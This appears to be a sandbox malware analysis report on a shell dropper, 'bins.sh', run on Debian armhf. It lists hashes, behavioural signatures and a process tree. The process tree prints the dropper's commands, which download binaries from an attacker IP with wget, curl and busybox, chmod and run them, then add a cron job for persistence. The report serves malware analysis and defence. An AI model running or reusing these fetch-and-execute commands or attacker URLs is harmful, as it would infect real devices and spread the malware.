Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 17:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f69289a3ee777f64edc9fb46772eabe1

  • SHA1

    83809727986e7f0783b2f52ef58c7f30e73d3d69

  • SHA256

    eec33435e04ab331c98f21b0bd4941d5d1bc4644b8c338ca9c6d202811b20432

  • SHA512

    de22ffb299e34fe41a6e403c46f028b287a1eb7ffd3cf438ae4e8a33ce3e98f6eab1104b41f49c966b3f740e888ccd1fdf8d93c3c7cea4338f3389c035e84836

  • SSDEEP

    192:TLfOZ5azR+RyKhtEnLEnLEnkEnsQEnrEnMgI92ysQaEEnLEnLEnkEnsQEnrEn2g/:TLfOZ5azR+NU221CW7QaV221CWTJLfOu

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1907) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:657
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:662
        • /usr/bin/wget
          wget http://87.120.84.230/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:677
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Writes file to tmp directory
          PID:685
        • /bin/chmod
          chmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          ./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
            PID:693
          • /usr/bin/wget
            wget http://87.120.84.230/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Writes file to tmp directory
            PID:694
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Writes file to tmp directory
            PID:697
          • /bin/chmod
            chmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • File and Directory Permissions Modification
            PID:698
          • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            ./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Executes dropped EXE
            PID:699
          • /bin/rm
            rm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
              PID:701
            • /usr/bin/wget
              wget http://87.120.84.230/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Writes file to tmp directory
              PID:702
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:709
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Writes file to tmp directory
              PID:714
            • /bin/chmod
              chmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • File and Directory Permissions Modification
              PID:717
            • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              ./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:718
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:720
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:722
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:724
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:725
                  • /bin/rm
                    rm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
                    2⤵
                      PID:728
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                      2⤵
                        PID:732
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                        2⤵
                          PID:741

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk

                        Filesize

                        107KB

                        MD5

                        eb9c3a0de91fcf16ba17cb24608df68c

                        SHA1

                        09d95a7d70d5e115d103be51edff7c498d272fac

                        SHA256

                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                        SHA512

                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                      • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                      • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt

                        Filesize

                        122KB

                        MD5

                        cd3d4b9c643e5b473fb4d88ed05f0716

                        SHA1

                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                        SHA256

                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                        SHA512

                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                      • /var/spool/cron/crontabs/tmp.rg7tSx

                        Filesize

                        210B

                        MD5

                        e915069d49b1fc5c4422792084164494

                        SHA1

                        3f65f016c89612b72db181b43d9427b94884aa64

                        SHA256

                        a10e0144eaea83324789762771cc6f6dea40fb5354188fef437060cddc07db68

                        SHA512

                        a9ada802154f53d2b4eb67b7e04bdfff4266bd6905ae7d542aca59931caf34084b639616f9b0a6425a89ab983c9c7b78e937a302f35e05a72eb04515bfd23107